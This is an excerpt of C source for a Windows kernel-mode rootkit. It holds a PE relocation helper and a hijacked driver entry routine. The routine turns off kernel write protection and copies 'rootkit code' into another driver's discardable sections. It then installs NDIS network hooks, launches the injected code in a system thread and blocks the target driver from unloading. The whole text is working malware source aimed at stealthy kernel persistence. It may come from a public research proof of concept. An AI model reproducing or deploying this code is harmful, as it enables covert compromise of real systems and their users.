//-------------------------------------------------------------------------------------- BOOLEAN RuntimeProcessRelocs(PVOID Image, PVOID NewBase) { PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32) ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); PIMAGE_BASE_RELOCATION pRelocation = NULL; ULONG RelocationSize = 0; ULONGLONG OldBase = 0; if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) { // 32-bit image if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) { pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA(Image, pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); RelocationSize = pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; } OldBase = pHeaders32->OptionalHeader.ImageBase; } else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64) { // 64-bit image PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64) ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew); if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) { pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA(Image, pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); RelocationSize = pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; } OldBase = pHeaders64->OptionalHeader.ImageBase; } else { return FALSE; } if (pRelocation) { ULONG Size = 0; // enumerate relocation pages while (RelocationSize > Size && pRelocation->SizeOfBlock) { ULONG Number = (pRelocation->SizeOfBlock - 8) / 2; PUSHORT Rel = (PUSHORT)((PUCHAR)pRelocation + 8); // enumerate relocation offsets for the current page for (ULONG i = 0; i < Number; i++) { if (Rel[i] > 0) { USHORT Type = (Rel[i] & 0xF000) >> 12; // check for supporting type if (Type != IMAGE_REL_BASED_HIGHLOW && Type != IMAGE_REL_BASED_DIR64) { return FALSE; } #ifdef _X86_ *(PULONG)(RVATOVA(Image, pRelocation->VirtualAddress + (Rel[i] & 0x0FFF))) += (ULONG)((ULONGLONG)NewBase - OldBase); #elif _AMD64_ *(PULONGLONG)(RVATOVA(Image, pRelocation->VirtualAddress + (Rel[i] & 0x0FFF))) += (ULONGLONG)NewBase - OldBase; #endif } } pRelocation = (PIMAGE_BASE_RELOCATION)((PUCHAR)pRelocation + pRelocation->SizeOfBlock); Size += pRelocation->SizeOfBlock; } }
//-------------------------------------------------------------------------------------- NTSTATUS NewDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { // disable memory write protection ClearWp(); // restore original code from image entry point memcpy(m_HookedEntry, m_EpOriginalBytes, EP_PATCH_SIZE); // enable memory write protection SetWp(); NTSTATUS ns = m_HookedEntry(DriverObject, RegistryPath); DbgMsg(__FUNCTION__"(): Hooked driver returns 0x%.8x\n", ns); if (PsRemoveLoadImageNotifyRoutine(LoadImageNotify) == STATUS_SUCCESS) { m_bDriverMustBeFreed = TRUE; } if (NT_SUCCESS(ns)) { PVOID Image = ExAllocatePool(NonPagedPool, m_DriverSize); if (Image) { // prepare rootkit code for injection into the discardable sections memcpy(Image, m_DriverBase, m_DriverSize); RuntimeProcessRelocs(Image, (PVOID)((PUCHAR)m_FreeAreaFound - m_RkOffset)); // disable memory write protection ClearWp(); memcpy(m_FreeAreaFound, RVATOVA(Image, m_RkOffset), m_RkSize); // enable memory write protection SetWp(); PUCHAR PointerFixup = (PUCHAR)m_FreeAreaFound - m_RkOffset; // set up NDIS hooks DriverEntryInitializePayload(PointerFixup); PKSTART_ROUTINE Start = (PKSTART_ROUTINE)RECALCULATE_POINTER(DriverEntryContinueThread); DbgMsg(__FUNCTION__"(): Start address: "IFMT"\n", Start); // create thread for execution copied code HANDLE hThread = NULL; ns = PsCreateSystemThread( &hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, Start, m_bDriverMustBeFreed ? m_DriverBase : NULL ); if (NT_SUCCESS(ns)) { ZwClose(hThread); } else { DbgMsg("PsCreateSystemThread() fails: 0x%.8x\n", ns); } ExFreePool(Image); } // don't allow to unload target driver DriverObject->DriverUnload = NULL; } return ns; }